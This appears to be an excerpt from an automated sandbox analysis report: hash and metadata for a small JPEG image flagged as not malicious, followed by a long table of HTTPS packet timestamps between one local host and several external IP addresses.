File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 08:46:45.669398069 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:45.669450045 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:45.669579029 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:45.670430899 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:45.670444012 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.018589973 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 7, 2024 08:46:46.018630981 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 7, 2024 08:46:46.159194946 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 7, 2024 08:46:46.476675034 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.478230953 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.483683109 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.483716011 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.484184980 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.486144066 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.486191034 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.486203909 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.486352921 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.531424999 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.657160044 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.657418013 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:46.657496929 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.657622099 CEST	49714	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:46.657655001 CEST	443	49714	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:53.869889975 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:53.869947910 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:53.870006084 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:53.870735884 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:53.870754004 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.636213064 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:54.636279106 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:54.636409044 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:54.647077084 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:54.647104979 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:54.663677931 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.663777113 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.666857958 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.666876078 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.667260885 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.669373035 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.669548035 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.669548035 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.669555902 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.715415955 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.839802980 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.840008020 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.840506077 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.864907026 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:54.864933968 CEST	443	49715	40.115.3.253	192.168.2.6
Oct 7, 2024 08:46:54.865077019 CEST	49715	443	192.168.2.6	40.115.3.253
Oct 7, 2024 08:46:55.388430119 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.388501883 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.394237995 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.394263029 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.394668102 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.405209064 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.451411009 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.699023008 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.699049950 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.699067116 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.699139118 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.699179888 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.699244976 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.784557104 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.784585953 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.784636021 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.784673929 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.784703970 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.784733057 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.786468983 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.786490917 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.786541939 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.786555052 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.786602974 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.870837927 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.870899916 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.870989084 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.871026993 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.871078968 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.871731043 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.871751070 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.871803045 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.871814013 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.871881008 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.872946024 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.872965097 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.873025894 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.873035908 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.873070002 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.873091936 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.874068975 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.874089956 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.874149084 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.874159098 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.874196053 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.957659006 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.957680941 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.957752943 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.957786083 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.957839966 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.958482981 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.958503962 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.958542109 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.958561897 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.958591938 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.958616018 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.959216118 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959234953 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959279060 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.959285975 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959335089 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.959568024 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959587097 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959644079 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.959655046 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.959702969 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.960527897 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.960549116 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.960597992 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.960608959 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.960661888 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.961488008 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.961509943 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.961554050 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.961561918 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.961581945 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.961599112 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.961616993 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:55.961654902 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:55.961699009 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.029967070 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.031466007 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.031493902 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.031508923 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.031518936 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.478290081 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.478332996 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.478420019 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.478521109 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.478584051 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.478648901 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.479105949 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.479126930 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.479398966 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.479413033 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.525564909 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.525595903 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.525686026 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.526412964 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.526472092 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.526541948 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.527354002 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.527368069 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.527524948 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.527544975 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.529031992 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.529045105 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.529114962 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.529301882 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.529318094 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.530781984 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.530798912 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.530880928 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.531291962 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.531323910 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.531392097 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.531558037 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.531570911 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.531780958 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:56.531793118 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:56.950210094 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.950709105 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.950745106 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.952447891 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.952519894 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.955140114 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.955182076 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.955238104 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.955405951 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.955420017 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.955508947 CEST	443	49723	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.955559969 CEST	49723	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.956229925 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.956342936 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.956379890 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.956439018 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.957066059 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.957075119 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.957271099 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.957281113 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.961030960 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.961112976 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961520910 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961546898 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961594105 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961704016 CEST	443	49722	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.961774111 CEST	49722	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961955070 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.961990118 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:56.962086916 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.962377071 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:56.962393045 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.163875103 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.165227890 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.165267944 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.167773008 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.167779922 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.176584959 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.179032087 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.179379940 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.179408073 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.180071115 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.180099010 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.180571079 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.180577040 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.180665970 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.180675030 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.187356949 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.187825918 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.187850952 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.188508987 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.188513994 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.198740005 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.199464083 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.199477911 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.200057030 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.200061083 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.262672901 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.262747049 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.262845993 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.264333963 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.264363050 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.278331041 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.278357029 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.278415918 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.278429985 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.278458118 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.278472900 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.278527975 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.279845953 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.279853106 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.279875994 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.279882908 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.279959917 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.280030012 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.280073881 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.292764902 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.292794943 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.292812109 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.292820930 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.296885014 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.296945095 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.297008038 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.297028065 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.297068119 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.297130108 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.297178030 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.302359104 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.302385092 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.302443027 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.302454948 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.302468061 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.302524090 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.302666903 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.302696943 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.302757025 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.304872990 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.304887056 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.306884050 CEST	49724	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.306895018 CEST	443	49724	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.311573029 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.311583996 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.311598063 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.311603069 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.322666883 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.322720051 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.322808027 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.323548079 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.323563099 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.329763889 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.329782963 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.329864025 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.335360050 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.335376978 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.343579054 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.343586922 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.343626976 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.343630075 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.343758106 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.343795061 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.343940973 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.343966961 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.344155073 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 7, 2024 08:46:57.344167948 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 7, 2024 08:46:57.420876980 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.426512957 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.431235075 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.431250095 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.432948112 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.433029890 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.433393002 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.433418989 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.434604883 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.434670925 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.437504053 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.437647104 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.438271999 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.438352108 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.446048975 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.446059942 CEST	443	49730	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.488511086 CEST	49731	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.488544941 CEST	443	49731	104.21.91.169	192.168.2.6
Oct 7, 2024 08:46:57.488660097 CEST	49730	443	192.168.2.6	104.21.91.169
Oct 7, 2024 08:46:57.533503056 CEST	49731	443	192.168.2.6	104.21.91.169
